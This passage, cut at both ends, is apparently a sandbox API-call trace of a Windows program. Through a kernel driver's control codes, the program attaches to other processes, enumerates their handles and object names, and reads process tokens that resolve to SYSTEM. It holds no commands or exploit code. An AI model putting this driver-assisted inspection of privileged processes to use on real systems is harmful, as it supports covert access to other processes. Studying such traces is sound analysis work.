returned 0x0 [0136.237] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.237] PsReleaseProcessExitSynchronization () returned 0x2 [0136.237] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.237] ObQueryNameString (in: Object=0xfffff8a0043297a0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.237] ObfDereferenceObject (Object=0xfffff8a0043297a0) returned 0x1 [0136.237] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.237] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.237] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.237] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.237] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.237] PsAcquireProcessExitSynchronization () returned 0x0 [0136.237] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.237] ObReferenceObjectByHandle (in: Handle=0x93c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001827610, HandleInformation=0x0) returned 0x0 [0136.237] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.237] PsReleaseProcessExitSynchronization () returned 0x2 [0136.237] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.237] ObQueryNameString (in: Object=0xfffff8a001827610, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.237] ObfDereferenceObject (Object=0xfffff8a001827610) returned 0x1 [0136.237] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.237] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.237] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.237] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.237] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.237] PsAcquireProcessExitSynchronization () returned 0x0 [0136.237] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.238] ObReferenceObjectByHandle (in: Handle=0x940, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a003063180, HandleInformation=0x0) returned 0x0 [0136.238] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.238] PsReleaseProcessExitSynchronization () returned 0x2 [0136.238] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.238] ObQueryNameString (in: Object=0xfffff8a003063180, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.238] ObfDereferenceObject (Object=0xfffff8a003063180) returned 0x1 [0136.238] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.238] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.238] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.238] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.238] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.238] PsAcquireProcessExitSynchronization () returned 0x0 [0136.238] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.238] ObReferenceObjectByHandle (in: Handle=0x958, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0033dee70, HandleInformation=0x0) returned 0x0 [0136.238] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.238] PsReleaseProcessExitSynchronization () returned 0x2 [0136.238] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.238] ObQueryNameString (in: Object=0xfffff8a0033dee70, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.238] ObfDereferenceObject (Object=0xfffff8a0033dee70) returned 0x1 [0136.238] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.238] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.238] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.238] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.238] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.238] PsAcquireProcessExitSynchronization () returned 0x0 [0136.238] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.238] ObReferenceObjectByHandle (in: Handle=0x95c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00398c880, HandleInformation=0x0) returned 0x0 [0136.238] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.238] PsReleaseProcessExitSynchronization () returned 0x2 [0136.238] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.238] ObQueryNameString (in: Object=0xfffff8a00398c880, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.238] ObfDereferenceObject (Object=0xfffff8a00398c880) returned 0x1 [0136.239] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.239] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.239] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.239] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.239] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.239] PsAcquireProcessExitSynchronization () returned 0x0 [0136.239] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.239] ObReferenceObjectByHandle (in: Handle=0x968, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a003a96390, HandleInformation=0x0) returned 0x0 [0136.239] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.239] PsReleaseProcessExitSynchronization () returned 0x2 [0136.239] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.239] ObQueryNameString (in: Object=0xfffff8a003a96390, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.239] ObfDereferenceObject (Object=0xfffff8a003a96390) returned 0x1 [0136.239] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.239] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.239] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.239] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.239] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.239] PsAcquireProcessExitSynchronization () returned 0x0 [0136.239] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.239] ObReferenceObjectByHandle (in: Handle=0x970, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002271740, HandleInformation=0x0) returned 0x0 [0136.239] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.239] PsReleaseProcessExitSynchronization () returned 0x2 [0136.239] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.239] ObQueryNameString (in: Object=0xfffff8a002271740, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.239] ObfDereferenceObject (Object=0xfffff8a002271740) returned 0x1 [0136.239] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.239] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.239] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.239] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.239] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.240] PsAcquireProcessExitSynchronization () returned 0x0 [0136.240] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.240] ObReferenceObjectByHandle (in: Handle=0x97c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00399ca80, HandleInformation=0x0) returned 0x0 [0136.240] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.240] PsReleaseProcessExitSynchronization () returned 0x2 [0136.240] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.240] ObQueryNameString (in: Object=0xfffff8a00399ca80, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.240] ObfDereferenceObject (Object=0xfffff8a00399ca80) returned 0x1 [0136.240] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.240] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.240] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.240] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.240] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.240] PsAcquireProcessExitSynchronization () returned 0x0 [0136.240] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.240] ObReferenceObjectByHandle (in: Handle=0x994, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002a6f8c0, HandleInformation=0x0) returned 0x0 [0136.240] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.240] PsReleaseProcessExitSynchronization () returned 0x2 [0136.240] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.240] ObQueryNameString (in: Object=0xfffff8a002a6f8c0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.240] ObfDereferenceObject (Object=0xfffff8a002a6f8c0) returned 0x1 [0136.240] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.240] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.240] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.240] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.240] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.240] PsAcquireProcessExitSynchronization () returned 0x0 [0136.240] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.240] ObReferenceObjectByHandle (in: Handle=0x9a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00346e830, HandleInformation=0x0) returned 0x0 [0136.240] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.240] PsReleaseProcessExitSynchronization () returned 0x2 [0136.240] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.240] ObQueryNameString (in: Object=0xfffff8a00346e830, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.240] ObfDereferenceObject (Object=0xfffff8a00346e830) returned 0x1 [0136.240] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.241] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.241] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.241] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.241] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.241] PsAcquireProcessExitSynchronization () returned 0x0 [0136.241] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.241] ObReferenceObjectByHandle (in: Handle=0x9c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a003a944e0, HandleInformation=0x0) returned 0x0 [0136.241] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.241] PsReleaseProcessExitSynchronization () returned 0x2 [0136.241] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.241] ObQueryNameString (in: Object=0xfffff8a003a944e0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.241] ObfDereferenceObject (Object=0xfffff8a003a944e0) returned 0x1 [0136.241] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.241] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.241] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1ac) returned 0xc0 [0136.241] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0136.241] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800301b670, HandleInformation=0x0) returned 0x0 [0136.241] ObOpenObjectByPointer (in: Object=0xfffffa800301b670, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff800005f4) returned 0x0 [0136.241] ObfDereferenceObject (Object=0xfffffa800301b670) returned 0x6c [0136.241] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f4, DesiredAccess=0x8, TokenHandle=0xfffffa80021959c0 | out: TokenHandle=0xfffffa80021959c0*=0xc8) returned 0x0 [0136.241] ZwClose (Handle=0xffffffff800005f4) returned 0x0 [0136.241] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.241] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0136.241] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0136.409] CloseHandle (hObject=0xc8) returned 1 [0136.410] CloseHandle (hObject=0xc0) returned 1 [0136.410] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.410] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0136.410] PsLookupProcessByProcessId (in: ProcessId=0x1ac, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.410] PsAcquireProcessExitSynchronization () returned 0x0 [0136.410] KeStackAttachProcess (in: PROCESS=0xfffffa800301b670, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800301b670, ApcState=0xfffff880054735d0) [0136.410] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003034ad0, HandleInformation=0x0) returned 0x0 [0136.410] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.410] PsReleaseProcessExitSynchronization () returned 0x2 [0136.410] ObfDereferenceObject (Object=0xfffffa800301b670) returned 0x6a [0136.410] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473508) returned 0x0 [0136.410] ObfDereferenceObject (Object=0xfffffa8003034ad0) returned 0x1 [0136.410] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.410] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.410] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.410] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.410] PsLookupProcessByProcessId (in: ProcessId=0x1ac, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.410] PsAcquireProcessExitSynchronization () returned 0x0 [0136.410] KeStackAttachProcess (in: PROCESS=0xfffffa800301b670, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800301b670, ApcState=0xfffff880054735d0) [0136.410] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030c6320, HandleInformation=0x0) returned 0x0 [0136.410] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.410] PsReleaseProcessExitSynchronization () returned 0x2 [0136.410] ObfDereferenceObject (Object=0xfffffa800301b670) returned 0x6a [0136.410] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473508) returned 0x0 [0136.410] ObfDereferenceObject (Object=0xfffffa80030c6320) returned 0x1 [0136.410] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.410] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.410] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1d8) returned 0xc0 [0136.411] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0136.411] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800304b4e0, HandleInformation=0x0) returned 0x0 [0136.411] ObOpenObjectByPointer (in: Object=0xfffffa800304b4e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b74) returned 0x0 [0136.411] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x78 [0136.411] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b74, DesiredAccess=0x8, TokenHandle=0xfffffa80021959c0 | out: TokenHandle=0xfffffa80021959c0*=0xc8) returned 0x0 [0136.411] ZwClose (Handle=0xffffffff80000b74) returned 0x0 [0136.411] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.411] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0136.411] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0136.412] CloseHandle (hObject=0xc8) returned 1 [0136.412] CloseHandle (hObject=0xc0) returned 1 [0136.412] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.412] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0136.412] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.412] PsAcquireProcessExitSynchronization () returned 0x0 [0136.412] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0) [0136.412] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, 